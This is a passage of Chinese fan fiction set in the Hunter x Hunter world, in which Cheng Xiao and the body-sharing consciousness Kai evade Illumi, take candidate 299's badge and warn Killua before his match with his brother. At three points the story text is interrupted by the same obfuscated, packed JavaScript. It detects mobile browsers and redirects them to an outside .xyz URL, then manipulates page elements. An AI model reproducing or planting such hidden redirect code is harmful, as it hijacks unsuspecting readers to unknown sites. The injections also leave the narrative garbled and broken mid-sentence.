他否定了程笑自我牺牲的价值,并将其上升为一种基于自身意愿的“需要”。他将选择权交还给了程笑,但同时也清晰地表明:我希望你选择生,与我一同面对。 这一刻,程笑那一直虚无的、如同浮萍般的存在,仿佛第一次被另一份意识如此坚定地“锚定”了。 16. 好了,现在是西索大人的主场 “伊尔迷·揍敌客。” 属于凯的声音再次响起,透过程笑的声带,冰冷得如同万载寒冰,没有丝毫动摇和怯懦。 “你用来谈判的筹码,从来都只有‘死亡’这一种吗?这或许对别人是致命的威胁,但对我——一个你们已经‘杀死’过一次,却依旧以这种方式存在的意识来说,这恰恰是最无效、最可笑的手段。” 伊尔迷的瞳孔几不可查地收缩了一下。 凯的声音没有丝毫停顿,逻辑清晰得像一把手术刀,精准地剖开了伊尔迷威胁中最脆弱的部分: “而且,”他继续道,语气甚至带上了一丝冰冷的嘲讽,“恰恰相反。如果席巴先生此刻知晓了我的存在和状态,以他的智慧和权衡,我推断他反而会倾向于……‘保全程笑’。” “原因很简单——相比起一个拥有智慧、无法被真正消灭、看不见也摸不着、随时可能附身到世界任何角落、并对揍敌客知根知底的‘幽灵’……一个看得见、摸得着、能被监控、能被制约、甚至可能被再次利用的、具象化的敌人,难道不是更安全、更明智的选择吗?” 伊尔迷:“…………” 他彻底沉默了。那张插满钉子的脸上第一次出现了一种近乎……凝滞的神情。凯的每一句话都像最坚硬的锤子,砸碎了他固有的谈判逻辑。他发现自己惯用的、无往不利的“死亡威胁”,在眼前这个存在面前,彻底失去了分量。而对方提出的新视角,从家族利益和风险控制的角度来看,竟然该死的有道理! 就在伊尔迷被凯那番犀利的、颠覆性的战略分析怼得陷入凝滞,空气中弥漫着一种前所未有的、僵持的寂静时—— “啪、啪、啪……” 几声缓慢而清晰的鼓掌声响了起来,在这片死寂中显得格外突兀。 西索从倚靠的树干上直起身,脸上洋溢着一种发现绝世珍宝般的、近乎狂喜的笑容,金色的瞳孔因为兴奋而收缩。 “精彩~!真是太精彩了~~~” 他拖长了调子,声音甜腻得发颤,目光在伊尔迷和“程笑”(凯)之间来回扫视,仿佛在欣赏一出绝妙的戏剧。 “小伊~” 他看向伊尔迷,语气里充满了幸灾乐祸的愉悦,“你那张万年不变的扑克脸~终于出现别的表情了呢~ 虽然只是‘大脑过载’的呆滞~但也非常难得了哦~” 然后,他转向“程笑”,眼中的兴趣更加浓烈,仿佛要将他从里到外剖析一遍: “还有你~……唔,现在应该是‘凯’对吧~?” “明明弱得可怜~……却能把小伊逼到这种地步~……依靠的不是力量,而是纯粹的……‘智慧’和‘对敌人心理的极致把握’吗~?” 他舔了舔嘴唇,像是品尝到了无上的美味: “这种……以弱胜强的疯狂美学……真是让人……兴奋得战栗呢~” 他向前走了两步,彻底打破了伊尔迷和凯之间对峙的气场,成为了新的焦点。 “那么~……” 他摊开手,扑克牌在指尖灵活地翻飞,笑容妖异,“现在的局面好像陷入僵局了哦~?” “小伊带不走你~……你又好像不太愿意乖乖跟着走~……” “而我~……”他故意停顿了一下,抛出一个媚眼,“……也不想让我看中的‘苹果’这么快就被摘走,或者变成一具死气沉沉的‘标本’呢~” “所以~……” 他拖长了声音,提出了一个看似荒谬却又符合他逻辑的提议: “不如……我们换个玩法吧~?比如~……先把这场无聊的考试进行下去~?我很期待~……你们接下来还能给我带来多少……惊喜哦~” 他将选择权看似随意地抛了出来,实则是在用他独有的方式,强行给这场死局按下了一个暂停键。 伊尔迷冰冷的目光扫向西索,但没有立刻反驳。他需要时间重新评估。凯(和程笑)也保持着沉默,警惕着这突如其来的变数。 舞台的中央,此刻彻底属于了西索。 西索脸上的笑容愈发妖异,他仿佛想到了一个绝妙的主意,右手握拳轻轻敲在左手掌心: “嗯~? 不如这样吧!”他拖长了调子,目光在伊尔迷和“程笑”之间流转,“既然大家都在参加考试~,那就让考试来决定好了~!” 他伸出食指,指向程笑: “如果你们……在这场狩猎里被淘汰了~”他歪着头,语气轻快却不容置疑,“那就证明能力不过如此~……乖乖跟小伊回去‘升级改造’,不是很好吗~?” 凯操控着身体,冷静地反问: “…如果通过了呢?你也不见得会站在我这边。” “当然啦~!” 西索回答得干脆利落,仿佛这是理所当然的事情,金色的瞳孔里闪烁着狡黠的光芒,“我可是很公平的~……” “如果你们能通过考试~……并且,接下来的‘表演’能让我觉得……物超所值~” 他的瞳孔缩紧,像盯上猎物的蛇,“那我心情好的话~……或许会觉得,让这场戏继续演下去,比现在就落幕……更有趣一点哦~?” 他把一个空头支票抛得天花乱坠,核心条件却模糊不清——一切取决于他西索大人是否觉得“有趣”。 这简直是最典型的西索式风格:给你一丝希望,但又将主动权牢牢抓在自己手中,永远以“是否好玩”为最高准则。 伊尔迷冷冷地瞥了西索一眼,似乎对这个看似儿戏的“协议”不置可否,但也没有立刻反对。或许在他重新计算出更优解之前,暂时维持现状也并非不可接受。 凯陷入了沉默。这是一个极其不平等且充满变数的协议,但似乎是目前唯一能争取到喘息机会的选择。 ……… 这场足以让人心脏停跳的顶级变态对决,最终以西索强行按下暂停键、并提出一个极其不靠谱的“考试协议”而告终。 伊尔迷最后深深地、毫无情绪地看了“程笑”一眼,身影如同融入阴影般悄然退去,但那种被毒蛇盯上的冰冷感觉依旧挥之不去。西索发出意犹未尽的轻笑,也几个起落便消失得无影无踪,仿佛只是来看了一场好戏。 原地只留下程笑,在确认那两个变态的气息彻底消失后,他双腿一软,差点直接跪倒在地,全靠扶住旁边的树干才站稳。冷汗后知后觉地浸透了后背,心脏现在才开始疯狂擂鼓。 “咳……咳咳……”他干呕了两下,却什么也吐不出来,只有劫后余生的颤栗感席卷全身。“妈的……跟这两个家伙待在一起,每分钟都像在坐跳楼机……” 他猛地甩了甩头,强迫自己冷静下来,“管他呢!变态的脑回路不是我这种凡人能理解的!现在最要紧的是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526546|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他连忙手忙脚乱地从口袋里掏出那张被揉得有点皱巴巴的纸条,深吸一口气,猛地展开! 只见纸条上清晰地写着一个数字: 299 一个平平无奇的路人号码,可能是某个同样在湿地挣扎求生、没什么存在感的考生的命运符号,此刻却成了程笑和凯必须夺取的目标。 “299号……”程笑低声念出这个数字,眼神逐渐变得坚定起来,“好了!目标确定!管他是谁,抢他丫的!” 虽然前路依旧危机四伏,但至少,他们有了一个清晰(且暴力)的短期目标。 ————某处隐蔽树洞————— 299号考生,武斗·拉尔夫,正蜷缩在他精心挑选的、自认为万无一失的树洞里。洞口被巧妙地用苔藓和藤蔓遮盖,内部空间狭窄但干燥,让他产生了一丝微弱的安全感。他小口小口地啃着硬邦邦的干粮,心里默默祈祷着时间快点过去,或者哪位好心的考官突然宣布考试结束。 “299…299…这是个好数字…意味着长长久久…一定能给我带来好运…只要躲到最后…说不定就能混过去…” 他如此安慰着自己,努力忽略掉远处偶尔传来的战斗声响。 就在这时,洞口覆盖的藤蔓被人唰啦一下毫不客气地扯开了! 刺眼的阳光猛地照进昏暗的树洞,武斗被晃得眯起了眼,心脏瞬间跳到了嗓子眼!他惊恐地看到洞口逆光站着一个身影,虽然看不太清面容,但那身影散发出的气息让他本能地感到恐惧——那是一种混合着“终于找到了”的兴奋和“你跑不掉了”的笃定。 完了!被发现了!怎么会?!我的隐藏应该很完美才对! 还没等他做出任何反应,甚至没来得及举起他那可怜的、几乎没什么杀伤力的小刀,就听到洞口那人用一种异常欢快又理直气壮的语气喊道: “嘿!299号!兄弟!江湖救急!你号码牌借我用用呗!” 武斗:“……???” 他彻底懵了。抢劫就抢劫,怎么还带商量的?而且这语气怎么跟借个火一样自然?! 就在他这愣神的零点一秒,他仿佛看到那人身后似乎有极其细微的、非本人控制的残影一闪而过?!(凯辅助微调攻击轨迹) 下一秒,他只觉得手腕一麻,紧握着号码牌的手不由自主地松开,那张写着299的号码牌如同被无形的线牵引般,瞬间落入了洞口那人的手中。 整个“抢劫”过程快如闪电,甚至带着点诡异的……“流畅”? 那人拿到号码牌,似乎还挺满意,对着光看了看,然后对着还在懵逼中的武斗挥了挥手,语气依旧欢快: “谢啦兄弟!祝你下次抽个好签!再见!” 说完,那个身影就如同来时一样突然,唰地一下消失在洞口,只留下被扯坏的藤蔓在风中凌乱,以及树洞里彻底石化、开始怀疑人生的武斗·拉尔夫。 ……发、发生了啥? 我的号码牌……就这么……没了? 他甚至还跟我说了再见?! 299这个数字……一点都不吉利啊呜哇——!!! 可怜的299号,成为了这场残酷考试中又一个无声无息的牺牲品,甚至没能拥有一个像样的反抗镜头。 17. 筹谋 漫长的、充满厮杀与狩猎的72小时终于结束。 当程笑跟随着其他幸存下来的考生,拖着疲惫不堪却又神经紧绷的身体,再次踏上那艘熟悉的飞艇时,他几乎有一种不真实的恍惚感。 飞艇缓缓升空,将那片充满了残酷回忆的森林逐渐抛在下方的云层之下。舱内气氛凝重,通过的考生们大多沉默不语,或闭目养神,或警惕地打量着四周所剩无几的“同伴”。 程笑找了个靠窗的角落坐下,看着窗外翻滚的云海,长长地、彻底地吁出了一口气。这三天经历的刺激比他上辈子加起来都多——被西索盯上、被伊尔迷追杀、和凯一起极限操作、最后还去“借”了299号的号码牌…… 总算……暂时活下来了。他在心里喃喃自语。 虽然知道前方等待的是最后一关,据说也是最难的一关,但至少,他们赢得了片刻的喘息之机,并且成功地将与伊尔迷的最终摊牌又推迟了一些。 ……… 飞艇的图书馆里,弥漫着一片近乎凝滞的焦虑。大多数通过第四场考试的考生,都深陷在“笔试”传闻的恐慌中,疯狂地翻阅着能找到的一切书籍资料,试图临时抱佛脚。 而与这片热火朝天的复习景象截然不同,医务室内则是一片安静的惨淡。 程笑正龇牙咧嘴地给自己胳膊上一道颇深的抓痕消毒,嘴里嘶嘶地抽着冷气。 “啧啧,299号那家伙……你别看他好抢,躲藏技能点满,真被逼急了反扑起来也是够狠的……”他一边笨拙地给伤口缠上绷带,一边对着意识里的凯絮叨,仿佛这样能分散点疼痛。 谁也没想到,就是武斗·拉尔夫那样一个以“降低存在感”和“躲藏”为主要生存手段的考生,在被夺走号码牌、陷入绝境后,竟然也能爆发出如此阴狠的潜力。他像是彻底豁出去了一样,利用对地形的熟悉和对隐藏的精通,在夜晚对程笑发动了数次悄无声息的偷袭。 那淬了不知名植物汁液(导致伤口愈合缓慢且剧痛)的尖锐石片,那精心布置的、试图将人引入毒刺丛的陷阱……招数算不上高明,却极其刁钻恶心。 “要不是晚上你出来接替身体,感知到他藏在附近的杀意,咱们还真可能一不小心就阴沟里翻船,被那家伙得手了……”程笑现在回想起来还有点后怕。那一晚与其说是战斗,不如说是一场在黑暗森林里的、紧张到极点的捉迷藏与反刺杀。 “痛痛痛!”绷带打了个结,不小心牵动了伤口,让他忍不住叫出声。 “…消毒不够彻底。缠绕过紧,影响血液循环。建议重新处理。” 凯冷静的声音在意识中响起,带着一丝不容置疑的精准,“并且,根据生物节律分析,你现在的嚎叫会消耗不必要的能量,并提高不必要的疼痛感知阈值。” “喂!你这是安慰人的话吗!”程笑抗议道,但手上还是老实地开始解那缠得过紧的绷带。 伤口被重新包扎好,程笑盯着绷带,像是又想起了什么,他叹了口气:“…真是的,要不是这场考试通不过就立马要被伊尔迷抓去‘回收’,我也不想抢那老兄的东西啊。” 他脑海里闪过299号考生武斗·拉尔夫最后那混合着绝望、愤怒和浓浓埋怨的眼神,一股隐隐的、与他平时乐子人形象不符的内疚感冒了出来。 “…你的情绪反应,确实不像这个世界的主流价值观。” 凯的声音平静地分析道,“在这里,‘弱肉强食’几乎是刻入骨髓的本能。掠夺与被掠夺,是常态。” 程笑挠了挠头,语气有些复杂:“………那当然,怎么说我呢……也算是从一个……呃,你能理解的概念就是,差不多像一个乌托邦一样的世界出来的吧。”(尽管这个“乌托邦”可能只是他那个世界相对和平稳定的普通社会,但在此刻的对比下,显得无比珍贵。) “…逻辑疑问。” 凯的声音似乎带上了一丝极微弱的困惑,“按照你的描述,你来自一个近乎理想化的世界。为何会选择主动放弃生命?” 程笑:“………………………” 这句话像一根针,精准地戳破了他试图维持的轻松表象,直刺心底最深的郁结。他脸上的表情空白了一瞬,所有伪装出来的情绪都褪去了,只剩下一种无声的、沉重的茫然。 过了好几秒,他才干巴巴地、声音极低地回应: “…兄弟……你这话可真是……说中我的痛处了。” 凯的声音停顿了一下,似乎在进行某种思考,然后以一种近乎笨拙的、尝试性的方式补充道: “…好的。………抱歉。” 这生硬的道歉反而让程笑愣了一下,随即失笑,气氛稍稍缓和。他甩甩头,像是要把那些阴郁思绪甩开,转而问道: “…那你嘞?别光说我啊。接下来……你准备怎么办?” “…未知。” 凯的回答简洁而务实,“目前信息不足,无法预测最终试验内容与形式。最优策略:静观其变,优先恢复体能,维持最佳状态。” “嗨!说到这个!”程笑猛地一拍大腿,结果瞬间扯到了伤口,疼得他龇牙咧嘴,“哎呦喂……疼死我了……!等等!我正好知道后面的剧情啊!我可以给你剧透一点!这算不算开挂?” “…?” 凯的意识似乎瞬间集中了起来,“…细说。” 对于一个依靠信息和逻辑生存的存在来说,“剧透”无疑是最具吸引力的东西。 程笑一番手舞足蹈(并伴随着偶尔因动作过大而引发的痛呼)的剧透之后,终于把最终试验那简单又残酷的规则和大致走向讲完了。 系统(凯)沉默了片刻,进行信息处理和分析: “…所以说,最终的考核并非传统意义上的比试,而是会长根据考生在整个试验过程中的表现,进行一对一的审查,并在奇犽与伊尔迷的对决后,因奇犽杀死了鲍得罗**而主动认输后,便宣布剩余所有人合格?” “对对对!就是这样!”程笑连连点头,“奇犽杀死鲍得罗之后,会长就说没必要再比了,然后我们就都通过了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526547|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “…逻辑漏洞。” 凯的声音带着一丝冰冷的锐利,“你,程笑,是一个巨大的‘变量’。你的存在,尤其是‘我’的存在,已经改变了太多事情。我们无法判定尼特罗会长会如何评估‘我们’,也无法预测你的对手会是谁。原有的‘剧情’在此刻,参考价值已经极大降低。” 程笑:“………………………” 他脸上的兴奋瞬间垮掉,像是被戳破的气球。他光顾着剧透的爽快,却完全忘了自己就是这个世界上最大的BUG。 “…有道理。” 他蔫蔫地承认,刚才的兴高采烈一扫而空。 气氛一时之间陷入了僵局。原本以为握有攻略的优越感荡然无存,前方依旧是迷雾重重,甚至因为他们的干预而变得更加不可预测。 程笑蔫头耷脑地拿起剩下的绷带和药水,叹了口气: “…算了,想那么多也没用。我还是先老老实实把伤口包扎好再说吧。” 至少这件事,是确定无疑且能自己掌控的。 “…………” 系统(凯)陷入了长久的沉默,那并非在进行逻辑运算,而是一种……近乎凝滞的沉重。 程笑察觉到了这不同寻常的寂静,有些不安地问:“?怎么了?怎么突然不说话了?没关系的!我们静观其变嘛!而且以我们的速度,只要不被伊尔迷当场抓住,他就打不到我们~”他试图用乐观的语气驱散这沉默。 “…我在想奇犽。” 凯的声音终于响起,却带着一种程笑从未听过的、极其复杂的情绪底色。那不再是纯粹的电子音,更像是一个人在回忆极其重要且五味杂陈的往事。 在数据流的深处,一些被尘封的、属于“凯”而非“系统”的记忆碎片正在翻涌。 他想起了那只小小的、如同白色闪电般敏感又脆弱的“小猫”。想起了在那段被“妻子”身份束缚的、冰冷而压抑的岁月里,是那个孩子,睁着那双澄澈却带着叛逆光芒的大眼睛,认真地、甚至是莽撞地问他: “你……真的想一直留在这里吗?一辈子?” 那句话,像一颗投入死水的石子,在当时他那片被规则和职责填满的内心,激起了第一圈涟漪。 某种程度上……是奇犽,第一个撬动了他坚固的内心堡垒,给了他思考“离开”这个选项的勇气。虽然过去的记忆依旧大片缺失,但那份由奇犽无意中种下的、关于“自由”和“自我”的微小种子,确实存在过。 而现在,他已经找到了新的方向(与程笑共生),却得知那个曾无意中帮助过他的孩子,正即将走向一个既定的、充满惊吓与威胁的剧情节点。 想要救,又怎么救呢? 这个念头带来的是无尽的无力感。 他自己已是泥菩萨过江,自身难保,强敌(伊尔迷)环伺。他绝对不可能放弃程笑、放弃这来之不易的“新生”去保全奇犽。 但同样,他也绝对无法眼睁睁地看着奇犽走向那个已知的、痛苦的结局,而自己却无动于衷。 18. 变态果然还是变态 程笑也猛地反应过来,这最后一场的“重头戏”到底是什么——那不仅仅是揭示奇犽的身份,更是一场针对那个白毛小猫的、精心策划的心理摧残。 现在这一切不再是纸片人的剧情,而是即将真实发生在眼前的事情。他发现自己再也无法用“看真人秀观众”的心态去对待了——哪个真心喜欢过这部作品的人,会不心疼那个被迫掏心、崩溃逃跑的奇犽呢? 虽然这孩子嘴毒到舔个嘴唇都能把自己送走……不过揍敌客家应该抗毒性点满了吧?大概…没事?程笑的思维习惯性地又拐到了一个奇怪的角度。 他努力甩开这些杂念,集中精神分析: “………其实最主要的是,他被他哥那副鬼样子突然出现给吓坏了吧?虽然伊尔迷后面说的那些话也确实没一句人话……” 程笑努力回忆着剧情,当想到奇犽竟然能面不改色(内心可能慌得一批)地伸手掏人心脏时,他才猛地一个激灵—— “等等!凯!我发现我们好像都陷入了一个误区!” 他猛地一拍脑袋(结果又扯到伤口龇牙咧嘴):“我们都下意识地把奇犽看成是‘需要被保护’的脆弱一方了……但客观来说,他的实战能力和自保手段,可比我们这两个半吊子强太多了啊!” 无论是速度、力量、暗杀技术还是抗揍(抗毒)能力,现在的奇犽都能把他们俩按在地上摩擦。他们自己还在生死线上挣扎,却操心着一个实力远胜于他们的人,这确实有点……本末倒置。 意识深处,凯沉默了片刻,似乎在急速重新评估这个显而易见却被他们忽略的事实。 ……………… 虽然极其不愿意承认,在这种时候还需要理性来分析自身与保护对象的实力差距……但…… “…有道理。”他最终客观地承认了这一点。焦虑的情绪似乎因此缓解了一丝。 “对吧!”程笑见凯接受了自己的观点,松了口气,“所以我觉得,我们其实不需要纠结‘怎么救他于水火’这种不切实际的问题。我们只需要想办法提醒他,那个插满钉子的怪人就是他大哥伊尔迷!让他至少有个心理准备,别被吓懵了就行!” “至于之后他怎么应对……你得相信那小子,他可比我们想象的机灵和坚韧多了。”程笑认真地说,“反正他迟早都要正面杠上他哥的,我们只能在力所能及的范围内,给他提个醒,这已经是我们能做的、最大的努力了。” “…好。” 凯的声音恢复了往常的冷静,但那份关切并未消失,只是转化为了一个更清晰、更可行的目标——传递情报。 “没错!!” 程笑猛地一拍大腿(再次忽略伤口疼得龇牙咧嘴),脸上焕发出一种“我真是个天才”的兴奋光彩,“哥们儿我总算智商在线了一回!这就叫战略性降低期待,精准化投放援助!” 他得意地晃了晃手指,仿佛在发表重大演说: “咱们之前那是被剧情和同情心带跑偏了,总想着要当力挽狂澜的英雄,结果发现自己才是那条需要被拯救的咸鱼!现在思路清晰了——我们的定位不是骑士,是哨兵!不打BOSS,只报点!提醒完我们就跑!能不能打过是他奇犽·揍敌客自己的事,但至少不能让他输在信息差上!” 他越说越觉得自己这计划简直无懈可击,既尽了心意,又完美规避了自身战力不足的巨大风险。 意识深处,凯沉默地接收着程笑这番慷慨激昂的“战略部署”。 ………… 虽然用语夸张且逻辑依旧跳脱……但核心方案:从“无效焦虑”转向“有效信息传递”,并明确自身定位……确实是一次极其高效且理性的分析判断。 “…批准该方案。” 凯的声音依旧平稳,但似乎多了一丝极难察觉的…认可? “优先在最终试验开始前,寻找安全时机,向奇犽·揍敌客传递‘伊尔迷伪装’情报。执行方式需谨慎,避免引起伊尔迷本人或考官注意。” “没问题!包在我身上!”程笑一拍胸脯,信心满满,“找机会跟小朋友说句悄悄话而已,这我擅长!” 仿佛只要不让他去跟伊尔迷正面对砍,其他一切好说。 至少,他们不再是只能无力地看着剧情发生,而是可以尝试着,为那只小白猫点亮一盏微弱的前灯。 ………… 对战顺序表公布出来。程笑紧张地扫视着名单,很快发现了一个让他又惊又喜的情况——他这个巨大的“变量”,竟然被非常“巧合”地安排在了奇犽与伊尔迷那场关键对决之后的轮次! 这意味着,只要剧情大致按照原著走向,奇犽失控“杀死”鲍得罗后会长终止考试,他就能直接躺赢! 程笑顿时感动得几乎要热泪盈眶,用袖子擦了擦并不存在的眼泪: “…看到了吗,凯!我就说我是老天爷的亲孙子吧~这运气!这排名!简直是心想事成啊!”他沉浸在突如其来的喜悦中。 然而,凯冰冷的声音立刻给他泼了一盆冷水,精准地指出了其中潜藏的、极其致命的漏洞: “…乐观评估过早。根据规则,伊尔迷有很大概率会选择一路‘认输’,直到匹配到我们的轮次。…届时,他将可以合法地‘淘汰’我们,并顺势执行‘回收’。这是最符合他利益和行事逻辑的策略。” 程笑脸上的笑容瞬间僵住:“…………………………” 他仿佛已经看到伊尔迷顶着那副钉子脸,面无表情地一路认输,然后站在自己面前的样子了。 “…静观其变吧,静观其变。”他干巴巴地重复着这句话,惴惴不安地坐回了自己的座位,内心已经开始疯狂思考如果那个狗东西真的这么干(而且他绝对干得出来!),自己该怎么跪地求饶(划掉)周旋了。 就在他脑子乱成一锅粥,紧张得手心冒汗时,忽然感觉旁边的座位有人坐了下来。 他下意识地扭头一看—— 只见奇犽不知何时来到了他旁边的空位坐下,双手插在口袋里,微微低着头,白色的碎发遮住了部分表情,周身似乎笼罩着一层比平时更沉静、甚至有些压抑的气息。 显然,刚刚目睹小杰被半藏揍得很惨,让他的心情糟糕到了极点。 “凯呢?”奇犽没有看程笑,声音有些发闷,“叫他出来,我要和他聊。” “好嘞!稍等呐您内~”程笑答得异常利索,甚至带着点如释重负,立刻非常光棍地交出了身体控制权。 下一秒,“程笑”周身的气质陡然一变,那点跳脱和神经质瞬间收敛,变得沉静而内敛。当他再次睁开眼时,眸底深处似乎掠过一丝极淡的、熟悉的深紫色光泽。 奇犽敏锐地捕捉到了这细微的变化,他侧过头,看着这判若两人的“程笑” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526548|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嘴角牵起一个极其无奈的、近乎叹息的轻笑: “…原来,那个愿望……竟然是以这种方式实现的吗。” 他不自觉的回想起过去,自己和亚路嘉、还有凯一起玩耍时,凯曾无意中流露出的、对“自由”和“离开”的向往。 凯操控着身体,沉默了片刻,似乎在处理这份跨越了生死与时光的复杂情绪,最终轻声回应: “…是的。…还有,谢谢。” 感谢你当年那句无心的提问,种下了种子;也感谢亚路嘉回应了的、他自己都已模糊的愿望。 奇犽耸了耸肩,试图让气氛轻松一点,双手背到脑后,靠在了椅背上: “…没什么。相比之下,我还得谢谢你告诉我那是我大哥呢。” 凯的视线微微垂下: “…微乎其微的帮助,不是吗?无法改变既定的事实。很抱歉,我没有能力……”无法帮你摆脱家族的阴影和即将到来的冲击。 “这不是你的错。”奇犽打断了他,语气变得认真起来,“你已经冒着很大风险来做这种事了……” 他顿了顿,看向凯的目光里带着一丝真诚的、如释重负的祝福: “…不过,恭喜你。不管怎么样,你也算是……‘得到自由’了。” 他以为凯成功地瞒过了所有人,以这种奇特的方式彻底脱离了揍敌客的掌控,并衷心地为他感到高兴。他完全不知道,最大的威胁(伊尔迷)早已洞察一切,并就坐在不远处。 这份真诚的祝福,此刻听起来却带着一丝残酷的意味。 凯只是微微牵动了一下嘴角,露出了一个极淡的、意味复杂的笑容,没有接话。 自由……会的。总会实现的。 但现在,没必要再用我的麻烦事,去扰乱这孩子本就紧绷的神经了。 他决定将伊尔迷早已发现的事实咽回肚子里,此刻,让奇犽专心应对即将到来的风暴才是最重要的。 很快,大屏幕上显示出了下一场的对决名单:奇犽·揍敌客 VS 集塔喇苦 对于这个对手的真实身份,对决的双方都早已心知肚明。 因此,当“集塔喇苦”当众开始拆卸脸上的钉子,伴随着令人牙酸的“噗嗤”声,身体骨骼发出怪异的响动,逐渐变回那个黑发黑眼、肤色苍白的伊尔迷·揍敌客时—— 奇犽的瞳孔骤然收缩,脸上是无法掩饰的惊讶和厌恶,身体也瞬间进入了极度戒备的状态……但,却并没有出现预期中那种如同见了鬼般的、彻底的惊吓和失控。 凯提前传递的信息,在此刻起到了至关重要的作用——它未能消除恐惧,但却有效缓冲了那份源于“未知”和“突袭”的最大冲击。 伊尔迷歪了歪他刚刚恢复原状的脑袋,漆黑无光的猫眼盯着奇犽,似乎对他相对“平静”的反应感到一丝意外,语气里带着一种扭曲的“欣慰”: “哦呀?看来弟弟……很期待见到哥哥嘛~?” 奇犽:“……” 他咬紧牙关,将所有翻涌的情绪死死压住,没有回答,只是摆出了战斗的姿态。 台下,程笑和凯通过同一双眼睛看着这一幕,内心同时陷入了沉默。 程笑 & 凯:“…………” 这是一种混合着“果然如此”、“这变态还是这么恶心”、“幸好提前说了”、“但好像并没卵用还是好可怕”的复杂心情。 19. 暴风雨来临的前奏 伊尔迷像是想起了什么,用那种平板无波却语出惊人的语调继续叨叨,仿佛在谈论天气: “还是弟弟好啊……不像你那个‘大嫂’,在家里被惯坏了,跑到外面就随便找了个疯子依附,就不肯回来了。” 奇犽:“………” 大脑CPU过载:我听到了什么??大嫂??疯子???你又在自己编造什么恐怖故事??? 意识深处的凯:“…………” 被当场造黄谣的“寡妇”本人感到一阵窒息般的无语,甚至久违地产生了一种想用最不优雅的词汇问候伊尔迷的冲动。 “不过,”伊尔迷的话题跳跃得毫无征兆,“听说你是打伤了母亲和糜稽才跑出来的?母亲很高兴,感慨你终于有揍敌客的样子了。”他顿了顿,补充道,“但是母亲还是很担心你,所以叫我来看看你。” 而奇犽根本没心思听他后半句关于母亲的絮叨,整个大脑都被前半句的“大嫂”和“疯子”刷屏,并得出了一个让他毛骨悚然的结论: …我大哥发现凯还活着了?!而且还以为他……在外面找了个疯子???(某种程度上也没错) 伊尔迷那双漆黑的猫眼一眨不眨地盯着奇犽,终于问出了核心问题: “在这里看到你真是令我意外……所以,你来这里干嘛呢?” “摊开来说,我是下一个任务需要执照。你来这里干嘛?你想要成为猎人吗?” 奇犽被这直白的问题问得一怔,下意识地回答:“……刚开始,只是为了好玩。” “那可真是太好了。”伊尔迷立刻接话,语气里带着一种“问题解决”的轻松感,“那你可以离开了。你现在没必要考,如果以后有需要,家族会为你安排的。” “现在你就回去,安心完成家里的安排和任务就行了。”他像是忽然又想到了一个绝妙的主意,歪头提议道: “或者……替我去和‘凯’说说?你应该能和他说得上话。” “他这样不依不饶地躲着我,可我又不能直接打碎他……很麻烦。” 他说这话的语气,仿佛不是在讨论一个他亲手“处理”过又复活的前任(?),而是在抱怨一件不听话的、但又舍不得砸坏的珍贵收藏品。 奇犽:“?????” 信息量过大,彻底死机。 凯 & 程笑:“……………………” 一种超越了愤怒和无语的、极致的荒谬感。 透过同一双眼睛看着场上那诡异到极致的兄弟对话,尤其是伊尔迷那番“大嫂跑了”、“不能打碎”的危险发言,程笑和凯在意识海里双双陷入了沉默。 凯:“…………所以,情况似乎发生了预期之外的变动。” (语气带着一种近乎麻木的平静)程笑:“…………是的,原本的剧情应该是伊尔迷问奇犽来干嘛,奇犽回答说‘想交朋友’,然后才引出了后面那套‘朋友是包袱’的变态理论,把奇犽心态搞崩……” 程笑继续分析道:“现在好了,他俩的注意力全被你(凯)这档子事给缠住了,一个疯狂造谣暗示,一个CPU过载疯狂解码,一时间居然没人想起来用小杰来刺激奇犽了!” 这阴差阳错的发展,竟然暂时避免了奇犽被精准戳中最痛处的命运。 凯沉默了片刻,似乎在进行评估:“………………从奇犽当前心理状态稳定性角度分析,这……或许也算一种‘好’的结局。” (至少没立刻崩溃) 程笑却一点也乐观不起来,声音带着哭腔:“……………………问题是,待会儿就轮到我们不好了啊啊啊!!下一场!下一场就轮到我们自己上了!伊尔迷那个狗东西绝对会一路认输下来点名找我们的!到时候怎么办?!现场表演一个‘大嫂回家’吗?!” 巨大的危机感瞬间冲散了那点侥幸,让他们重新回到了自身难保的残酷现实中。 比赛场地中,奇犽仿佛是再也无法忍受伊尔迷这套自说自话、信息量爆炸又极其诡异的发言了,他深吸一口气,正准备直接开口认输结束这场折磨—— 伊尔迷的手却更快一步,冰冷的手指如同铁钳般按在了他的肩膀上,阻止了他的动作。 “小奇果然还是最爱哥哥了,这么急着想帮哥哥省事。”伊尔迷的声音起初还带着一丝扭曲的“欣慰”,但随即缓缓转为一种不容置疑的、势在必得的冰冷: “但是哥哥现在还不能离开哦~” “哥哥还得留下来……带走‘我的东西’。” 